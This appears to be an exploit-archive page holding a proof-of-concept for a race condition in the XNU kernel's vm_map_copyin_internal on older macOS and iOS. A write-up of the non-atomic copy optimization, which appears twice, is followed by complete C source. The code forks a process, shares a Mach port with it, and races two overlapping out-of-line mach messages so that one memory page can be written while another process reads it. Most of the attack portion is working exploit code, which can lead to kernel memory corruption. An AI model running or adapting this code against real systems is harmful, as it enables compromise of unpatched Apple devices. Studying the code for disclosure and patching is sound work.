macOS < 10.14.3 / iOS < 12.1.3 XNU - 'vm_map_copy' Optimization which Requires Atomicity isn't Atomic

2019-01-31 22:05:36

/*
vm_map_copyin_internal in vm_map.c converts a region of a vm_map into "copied in" form, constructing a vm_map_copy
structure representing the copied memory which can then be mapped into another vm_map (or the same one.)

The function contains a while loop which walks through each of the vm_map_entry structures which make up the
region to be copied and tries to append a "copy" of each in turn to a vm_map_copy structure.

Under certain circumstances the copy operation can be optimized, here's a code snippet describing one such optimization:


// Attempt non-blocking copy-on-write optimizations.


if (src_destroy &&
(src_object == VM_OBJECT_NULL ||
(src_object->internal &&
src_object->copy_strategy == MEMORY_OBJECT_COPY_SYMMETRIC &&
!map_share))) {
/*
* If we are destroying the source, and the object
* is internal, we can move the object reference
* from the source to the copy. The copy is
* copy-on-write only if the source is.
* We make another reference to the object, because
* destroying the source entry will deallocate it.

vm_object_reference(src_object);

/*
* Copy is always unwired. vm_map_copy_entry
* set its wired count to zero.


goto CopySuccessful;


This optimization will apply if the vm_map_entry represents anonymous memory and the semantics of the copy
will cause that memory to be deallocated from the source map. In this case, as the comment describes, we can just
"move" the entry to the target map.

The issue is that this move is not performed atomically - the vm_map_entry which we want to move will only be removed
from the source map after we have copied all the entries representing the region we want to copy and the while(true) loop
is done:

} // end while(true)

/*
* If the source should be destroyed, do it now, since the
* copy was successful.

if (src_destroy) {
(void) vm_map_delete(
src_map,
vm_map_trunc_page(src_addr,
VM_MAP_PAGE_MASK(src_map)),
src_end,
((src_map == kernel_map) ?
VM_MAP_REMOVE_KUNWIRE :
VM_MAP_NO_FLAGS),
VM_MAP_NULL);


The cause of the lack of atomicity is two-fold:

Firstly: in the while loop the vm_map's lock gets dropped and retaken:

/*
* Create a new address map entry to hold the result.
* Fill in the fields from the appropriate source entries.
* We must unlock the source map to do this if we need
* to allocate a map entry.

if (new_entry == VM_MAP_ENTRY_NULL) {
version.main_timestamp = src_map->timestamp;
vm_map_unlock(src_map);

new_entry = vm_map_copy_entry_create(copy, !copy->cpy_hdr.entries_pageable);

vm_map_lock(src_map);
if ((version.main_timestamp + 1) != src_map->timestamp) {
if (!vm_map_lookup_entry(src_map, src_start,
&tmp_entry)) {
RETURN(KERN_INVALID_ADDRESS);
}
if (!tmp_entry->is_sub_map)
vm_map_clip_start(src_map, tmp_entry, src_start);
continue; /* restart w/ new tmp_entry
}
}

Here, each time they allocate a new entry structure they have to drop and retake the lock.
Secondly: the check and bailout there aren't sufficient to ensure atomicity of the "entry move" optimization:

The check "if ((version.main_timestamp + 1) != src_map->timestamp) {" tries to detect whether another thread
took the lock while we dropped it; if it did then they try to bailout and lookup the entry again.

The problem is that just checking whether there is still an entry covering the address we're currently trying to
copy isn't sufficient, since the continue statement just goes back up to the start of the while loop. It doesn't
invalidate all the entries we've already appended to the vm_map_copy, even though while we had dropped the lock
another thread could have come in and also started an "optimized entry move" for the same entry that we're in the process
of moving.

Note that this lock dropping and reacquiring pattern seems quite pervasive; this isn't the only place in the code where this
happens; a proper fix for such issues will require some refactoring.

This PoC demonstrates the issue by sending two mach messages in parallel, one to ourselves and one to our parent process.

Those messages contain out-of-line regions built up of alternating memory object mappings and anonymous memory:

_ _ _ _ _ _ _ _ _ _ _ _
<................../..> \
< { > }
< +---+---+---+---{--->---+---+---+---+---+ }
< | A | O | A | O { A > O | A | O | A | O | }
< +---+---+---+---{--->---+---+---+---+---+ }
<.................{...> }
^ \_ _ _ _ _ _ _ _ _ _ _ _/
| ^
OOL desc for msg_a |
OOL desc for msg_b


The two messages overlap by one anonymous memory entry, appearing at the end of msg_a and the start of msg_b. The locking issue
means that if we win the race this entry will have the move optimization applied twice, leading to it appearing in two vm_map_copys.

If we then send one of those copies to another process and receive one ourselves we will retain the ability to write
to the underlying page while the other process is reading it, without causing COW copies.

This violates the semantics of mach message OOL memory, and leads to TOCTOU issues which can lead to memory corruption.

PoC tested on MacOS 10.14.1 (18B75)
*/

// @i41nbeer

// XNU vm_map_copy optimization which requires atomicity isn't atomic

#if 0
vm_map_copyin_internal in vm_map.c converts a region of a vm_map into "copied in" form, constructing a vm_map_copy
structure representing the copied memory which can then be mapped into another vm_map (or the same one.)

The function contains a while loop which walks through each of the vm_map_entry structures which make up the
region to be copied and tries to append a "copy" of each in turn to a vm_map_copy structure.

Under certain circumstances the copy operation can be optimized, here's a code snippet describing one such optimization:

/*
* Attempt non-blocking copy-on-write optimizations.
*/

if (src_destroy &&
(src_object == VM_OBJECT_NULL ||
(src_object->internal &&
src_object->copy_strategy == MEMORY_OBJECT_COPY_SYMMETRIC &&
!map_share))) {
/*
* If we are destroying the source, and the object
* is internal, we can move the object reference
* from the source to the copy. The copy is
* copy-on-write only if the source is.
* We make another reference to the object, because
* destroying the source entry will deallocate it.
*/
vm_object_reference(src_object);

/*
* Copy is always unwired. vm_map_copy_entry
* set its wired count to zero.
*/

goto CopySuccessful;


This optimization will apply if the vm_map_entry represents anonymous memory and the semantics of the copy
will cause that memory to be deallocated from the source map. In this case, as the comment describes, we can just
"move" the entry to the target map.

The issue is that this move is not performed atomically - the vm_map_entry which we want to move will only be removed
from the source map after we have copied all the entries representing the region we want to copy and the while(true) loop
is done:

} // end while(true)

/*
* If the source should be destroyed, do it now, since the
* copy was successful.
*/
if (src_destroy) {
(void) vm_map_delete(
src_map,
vm_map_trunc_page(src_addr,
VM_MAP_PAGE_MASK(src_map)),
src_end,
((src_map == kernel_map) ?
VM_MAP_REMOVE_KUNWIRE :
VM_MAP_NO_FLAGS),
VM_MAP_NULL);


The cause of the lack of atomicity is two-fold:

Firstly: in the while loop the vm_map's lock gets dropped and retaken:

/*
* Create a new address map entry to hold the result.
* Fill in the fields from the appropriate source entries.
* We must unlock the source map to do this if we need
* to allocate a map entry.
*/
if (new_entry == VM_MAP_ENTRY_NULL) {
version.main_timestamp = src_map->timestamp;
vm_map_unlock(src_map);

new_entry = vm_map_copy_entry_create(copy, !copy->cpy_hdr.entries_pageable);

vm_map_lock(src_map);
if ((version.main_timestamp + 1) != src_map->timestamp) {
if (!vm_map_lookup_entry(src_map, src_start,
&tmp_entry)) {
RETURN(KERN_INVALID_ADDRESS);
}
if (!tmp_entry->is_sub_map)
vm_map_clip_start(src_map, tmp_entry, src_start);
continue; /* restart w/ new tmp_entry */
}
}

Here, each time they allocate a new entry structure they have to drop and retake the lock.

Secondly: the check and bailout there aren't sufficient to ensure atomicity of the "entry move" optimization:

The check "if ((version.main_timestamp + 1) != src_map->timestamp) {" tries to detect whether another thread
took the lock while we dropped it; if it did then they try to bailout and lookup the entry again.

The problem is that just checking whether there is still an entry covering the address we're currently trying to
copy isn't sufficient, since the continue statement just goes back up to the start of the while loop. It doesn't
invalidate all the entries we've already appended to the vm_map_copy, even though while we had dropped the lock
another thread could have come in and also started an "optimized entry move" for the same entry that we're in the process
of moving.

Note that this lock dropping and reacquiring pattern seems quite pervasive; this isn't the only place in the code where this
happens; a proper fix for such issues will require some refactoring.

This PoC demonstrates the issue by sending two mach messages in parallel, one to ourselves and one to our parent process.

Those messages contain out-of-line regions built up of alternating memory object mappings and anonymous memory:

_ _ _ _ _ _ _ _ _ _ _ _
<................../..> \
< { > }
< +---+---+---+---{--->---+---+---+---+---+ }
< | A | O | A | O { A > O | A | O | A | O | }
< +---+---+---+---{--->---+---+---+---+---+ }
<.................{...> }
^ \_ _ _ _ _ _ _ _ _ _ _ _/
| ^
OOL desc for msg_a |
OOL desc for msg_b


The two messages overlap by one anonymous memory entry, appearing at the end of msg_a and the start of msg_b. The locking issue
means that if we win the race this entry will have the move optimization applied twice, leading to it appearing in two vm_map_copys.

If we then send one of those copies to another process and receive one ourselves we will retain the ability to write
to the underlying page while the other process is reading it, without causing COW copies.

This violates the semantics of mach message OOL memory, and leads to TOCTOU issues which can lead to memory corruption.

PoC tested on MacOS 10.14.1 (18B75)

#endif

#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <signal.h>
#include <pthread.h>
#include <sys/mman.h>
#include <sys/stat.h>

#include <libkern/OSAtomic.h>
#include <mach/mach.h>
#include <mach/mach_error.h>
#include <mach/mach_vm.h>
#include <mach/task.h>
#include <mach/task_special_ports.h>

#define MACH_ERR(str, err) do { \
if (err != KERN_SUCCESS) { \
mach_error("[-]" str "\n", err); \
exit(EXIT_FAILURE); \
} \
} while(0)

#define FAIL(str) do { \
printf("[-] " str "\n"); \
exit(EXIT_FAILURE); \
} while (0)

#define LOG(str) do { \
printf("[+] " str"\n"); \
} while (0)

/***************
* port dancer *
***************/

// set up a shared mach port pair from a child process back to its parent without using launchd
// based on the idea outlined by Robert Sesek here: https://robert.sesek.com/2014/1/changes_to_xnu_mach_ipc.html

// mach message for sending a port right
typedef struct {
mach_msg_header_t header;
mach_msg_body_t body;
mach_msg_port_descriptor_t port;
} port_msg_send_t;

// mach message for receiving a port right
typedef struct {
mach_msg_header_t header;
mach_msg_body_t body;
mach_msg_port_descriptor_t port;
mach_msg_trailer_t trailer;
} port_msg_rcv_t;

typedef struct {
mach_msg_header_t header;
} simple_msg_send_t;

typedef struct {
mach_msg_header_t header;
mach_msg_trailer_t trailer;
} simple_msg_rcv_t;

#define STOLEN_SPECIAL_PORT TASK_BOOTSTRAP_PORT

// a copy in the parent of the stolen special port such that it can be restored
mach_port_t saved_special_port = MACH_PORT_NULL;

// the shared port right in the parent
mach_port_t shared_port_parent = MACH_PORT_NULL;

void setup_shared_port() {
kern_return_t err;
// get a send right to the port we're going to overwrite so that we can both
// restore it for ourselves and send it to our child
err = task_get_special_port(mach_task_self(), STOLEN_SPECIAL_PORT, &saved_special_port);
MACH_ERR("saving original special port value", err);

// allocate the shared port we want our child to have a send right to
err = mach_port_allocate(mach_task_self(),
MACH_PORT_RIGHT_RECEIVE,
&shared_port_parent);

MACH_ERR("allocating shared port", err);

// insert the send right
err = mach_port_insert_right(mach_task_self(),
shared_port_parent,
shared_port_parent,
MACH_MSG_TYPE_MAKE_SEND);
MACH_ERR("inserting MAKE_SEND into shared port", err);

// stash the port in the STOLEN_SPECIAL_PORT slot such that the send right survives the fork
err = task_set_special_port(mach_task_self(), STOLEN_SPECIAL_PORT, shared_port_parent);
MACH_ERR("setting special port", err);
}

mach_port_t recover_shared_port_child() {
kern_return_t err;

// grab the shared port which our parent stashed somewhere in the special ports
mach_port_t shared_port_child = MACH_PORT_NULL;
err = task_get_special_port(mach_task_self(), STOLEN_SPECIAL_PORT, &shared_port_child);
MACH_ERR("child getting stashed port", err);

LOG("child got stashed port");

// say hello to our parent and send a reply port so it can send us back the special port to restore

// allocate a reply port
mach_port_t reply_port;
err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &reply_port);
MACH_ERR("child allocating reply port", err);

// send the reply port in a hello message
simple_msg_send_t msg = {0};

msg.header.msgh_size = sizeof(msg);
msg.header.msgh_local_port = reply_port;
msg.header.msgh_remote_port = shared_port_child;

msg.header.msgh_bits = MACH_MSGH_BITS (MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_MAKE_SEND_ONCE);

err = mach_msg_send(&msg.header);
MACH_ERR("child sending task port message", err);

LOG("child sent hello message to parent over shared port");

// wait for a message on the reply port containing the stolen port to restore
port_msg_rcv_t stolen_port_msg = {0};
err = mach_msg(&stolen_port_msg.header, MACH_RCV_MSG, 0, sizeof(stolen_port_msg), reply_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
MACH_ERR("child receiving stolen port\n", err);

// extract the port right from the message
mach_port_t stolen_port_to_restore = stolen_port_msg.port.name;
if (stolen_port_to_restore == MACH_PORT_NULL) {
FAIL("child received invalid stolen port to restore");
}

// restore the special port for the child
err = task_set_special_port(mach_task_self(), STOLEN_SPECIAL_PORT, stolen_port_to_restore);
MACH_ERR("child restoring special port", err);

LOG("child restored stolen port");
return shared_port_child;
}

mach_port_t recover_shared_port_parent() {
kern_return_t err;

// restore the special port for ourselves
err = task_set_special_port(mach_task_self(), STOLEN_SPECIAL_PORT, saved_special_port);
MACH_ERR("parent restoring special port", err);

// wait for a message from the child on the shared port
simple_msg_rcv_t msg = {0};
err = mach_msg(&msg.header,
MACH_RCV_MSG,
0,
sizeof(msg),
shared_port_parent,
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);
MACH_ERR("parent receiving child hello message", err);

LOG("parent received hello message from child");

// send the special port to our child over the hello message's reply port
port_msg_send_t special_port_msg = {0};

special_port_msg.header.msgh_size = sizeof(special_port_msg);
special_port_msg.header.msgh_local_port = MACH_PORT_NULL;
special_port_msg.header.msgh_remote_port = msg.header.msgh_remote_port;
special_port_msg.header.msgh_bits = MACH_MSGH_BITS(MACH_MSGH_BITS_REMOTE(msg.header.msgh_bits), 0) | MACH_MSGH_BITS_COMPLEX;
special_port_msg.body.msgh_descriptor_count = 1;

special_port_msg.port.name = saved_special_port;
special_port_msg.port.disposition = MACH_MSG_TYPE_COPY_SEND;
special_port_msg.port.type = MACH_MSG_PORT_DESCRIPTOR;

err = mach_msg_send(&special_port_msg.header);
MACH_ERR("parent sending special port back to child", err);

return shared_port_parent;
}

/*** end of port dancer code ***/

#define UNIT_SIZE 0x8000

struct send_msg {
mach_msg_header_t hdr;
mach_msg_body_t body;
mach_msg_ool_descriptor_t desc;
};

struct rcv_msg {
mach_msg_header_t hdr;
mach_msg_body_t body;
mach_msg_ool_descriptor_t desc;
mach_msg_trailer_t trailer;
};

volatile int lock_a;
volatile int lock_b;

void* thread_func(void* arg) {
lock_a = 1;
while(lock_b == 0) {;}
kern_return_t err = mach_msg_send((mach_msg_header_t*)arg);
return (void*) err;
}


void do_child(mach_port_t shared_port) {
uint32_t n_pairs = 32;
uint32_t offset = 8;
// allocate a memory object which we can use for the alternating object entries:
memory_object_size_t obj_size = n_pairs * UNIT_SIZE;

printf("allocating 0x%llx byte memory entry for alternating entries\n", obj_size);

void* obj_buf = NULL;
kern_return_t err = mach_vm_allocate(mach_task_self(),
(mach_vm_address_t*)&obj_buf,
obj_size,
VM_FLAGS_ANYWHERE);

memset(obj_buf, 'A', obj_size);

mach_port_t mem_port = MACH_PORT_NULL;
err = mach_make_memory_entry_64(mach_task_self(),
(memory_object_size_t*)&obj_size,
(memory_object_offset_t)obj_buf,
VM_PROT_DEFAULT,
&mem_port,
MACH_PORT_NULL);
if (err != KERN_SUCCESS) {
printf("failed to make memory entry\n");
return;
}

mach_vm_address_t target_buffer_base = 0x414100000000;
mach_vm_address_t addr = target_buffer_base;
for (uint32_t i = 0; i < n_pairs; i++) {
// first element of the pair is an anonymous page:
err = mach_vm_allocate(mach_task_self(),
&addr,
UNIT_SIZE,
VM_FLAGS_FIXED);

if (err != KERN_SUCCESS) {
printf("mach_vm_allocate with VM_MAP_FIXED failed: %x %s\n", err, mach_error_string(err));
return;
}

memset((void*)addr, 'B', UNIT_SIZE);

addr += UNIT_SIZE;

// second element is a page from the memory entry
err = mach_vm_map(mach_task_self(),
&addr, // &address
(mach_vm_size_t)UNIT_SIZE, // size
0xfff, // mask
VM_FLAGS_FIXED, // flags
mem_port, // object
(mach_vm_offset_t)(i*UNIT_SIZE), // offset
0, // copy
3, // cur_prot
3, // max_prot
2);// inheritance

if (err != KERN_SUCCESS) {
printf("failed to mach_vm_map a page from the memory object: %x %s\n", err, mach_error_string(err));
return;
}

addr += UNIT_SIZE;
}


// split this thing in to two overlapping OOL regions:
// offset is the n'th anonymous region which should be at the end of the OOL region of msg_a
// and also at the start of the OOL region of msg_b

// we'll send a to ourselves, and b to the other process

uint32_t msg_a_size = UNIT_SIZE + (2 * offset * UNIT_SIZE);
uint8_t* msg_a_buf = (void*)target_buffer_base;

uint8_t* msg_b_buf = (uint8_t*)(target_buffer_base + msg_a_size - UNIT_SIZE);
uint32_t msg_b_size = (n_pairs * 2 * UNIT_SIZE) - msg_a_size + UNIT_SIZE;

printf("msg_a %p %x\n", msg_a_buf, msg_a_size);
printf("msg_b %p %x\n", msg_b_buf, msg_b_size);

mach_port_t msg_a_port = MACH_PORT_NULL;
err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &msg_a_port);
if (err != KERN_SUCCESS) {
printf("mach_port_allocate failed: %x %s\n", err, mach_error_string(err));
return;
}

struct send_msg msg_a = {};
struct send_msg msg_b = {};

// message a
msg_a.hdr.msgh_bits = MACH_MSGH_BITS_SET(MACH_MSG_TYPE_MAKE_SEND, 0, 0, 0) | MACH_MSGH_BITS_COMPLEX;
msg_a.hdr.msgh_size = sizeof(struct send_msg);
msg_a.hdr.msgh_remote_port = msg_a_port;
msg_a.hdr.msgh_local_port = MACH_PORT_NULL;
msg_a.hdr.msgh_voucher_port = MACH_PORT_NULL;
msg_a.hdr.msgh_id = 0x41424344;

msg_a.body.msgh_descriptor_count = 1;

msg_a.desc.type = MACH_MSG_OOL_DESCRIPTOR;
msg_a.desc.copy = MACH_MSG_VIRTUAL_COPY;
msg_a.desc.deallocate = 1;
msg_a.desc.address = msg_a_buf;
msg_a.desc.size = msg_a_size;

// message b
msg_b.hdr.msgh_bits = MACH_MSGH_BITS_SET(MACH_MSG_TYPE_COPY_SEND, 0, 0, 0) | MACH_MSGH_BITS_COMPLEX;
msg_b.hdr.msgh_size = sizeof(struct send_msg);
msg_b.hdr.msgh_remote_port = shared_port;
msg_b.hdr.msgh_local_port = MACH_PORT_NULL;
msg_b.hdr.msgh_voucher_port = MACH_PORT_NULL;
msg_b.hdr.msgh_id = 0x41424344;

msg_b.body.msgh_descriptor_count = 1;

msg_b.desc.type = MACH_MSG_OOL_DESCRIPTOR;
msg_b.desc.copy = MACH_MSG_VIRTUAL_COPY;
msg_b.desc.deallocate = 1;
msg_b.desc.address = msg_b_buf;
msg_b.desc.size = msg_b_size;

// try sending them in parallel;
// need a thread we can try to sync with:
lock_a = 0;
lock_b = 0;

pthread_t th;
pthread_create(&th, NULL, thread_func, (void*)&msg_a);

while(lock_a == 0){;}
lock_b = 1;

kern_return_t msg_b_err = mach_msg_send(&msg_b.hdr);

void* remote_retval = 0;
pthread_join(th, &remote_retval);
kern_return_t msg_a_err = (kern_return_t)remote_retval;

printf("msg_a send: %x %s\n", msg_a_err, mach_error_string(msg_a_err));
printf("msg_b send: %x %s\n", msg_b_err, mach_error_string(msg_b_err));

struct rcv_msg rcv_msg_a = {0};

if (msg_a_err == KERN_SUCCESS) {
rcv_msg_a.hdr.msgh_local_port = msg_a_port;
rcv_msg_a.hdr.msgh_size = sizeof(struct rcv_msg);
err = mach_msg_receive(&rcv_msg_a.hdr);
if (err != KERN_SUCCESS) {
printf("mach_msg_receive failed for msg_a_port: %x %s\n", err, mach_error_string(err));
}
}

printf("dual send success!\n");
char* rcv_a_addr = rcv_msg_a.desc.address;
uint32_t rcv_a_size = rcv_msg_a.desc.size;

printf("a: %p %x\n", rcv_a_addr, rcv_a_size);

volatile char* rcv_a_char_addr = rcv_a_addr + (rcv_a_size - 1);


printf("rcv_a_char_addr: %p\n", rcv_a_char_addr);

while (1) {
*rcv_a_char_addr = 'X';
*rcv_a_char_addr = 'O';
}
}

void do_parent(mach_port_t shared_port) {
kern_return_t err;

// wait for our child to send us an OOL message
struct rcv_msg msg = {0};
msg.hdr.msgh_local_port = shared_port;
msg.hdr.msgh_size = sizeof(msg);
err = mach_msg_receive(&msg.hdr);
MACH_ERR("parent receiving child OOL message", err);

char* rcv_b_addr = msg.desc.address;
volatile char* rcv_b_char_addr = rcv_b_addr + (UNIT_SIZE-1);

printf("rcv_a_char_addr: %p\n", rcv_b_char_addr);

while(1) {
printf("parent sees in OOL desc: %c\n", *rcv_b_char_addr);
usleep(100000);
}
}

int main(int argc, char** argv) {
setup_shared_port();

pid_t child_pid = fork();
if (child_pid == -1) {
FAIL("forking");
}

if (child_pid == 0) {
mach_port_t shared_port_child = recover_shared_port_child();
do_child(shared_port_child);
} else {
mach_port_t shared_port_parent = recover_shared_port_parent();
do_parent(shared_port_parent);
}

kill(child_pid, 9);
int status;
wait(&status);

return 0;
}

Fixes

No fixes

In order to submit a new fix you need to be registered.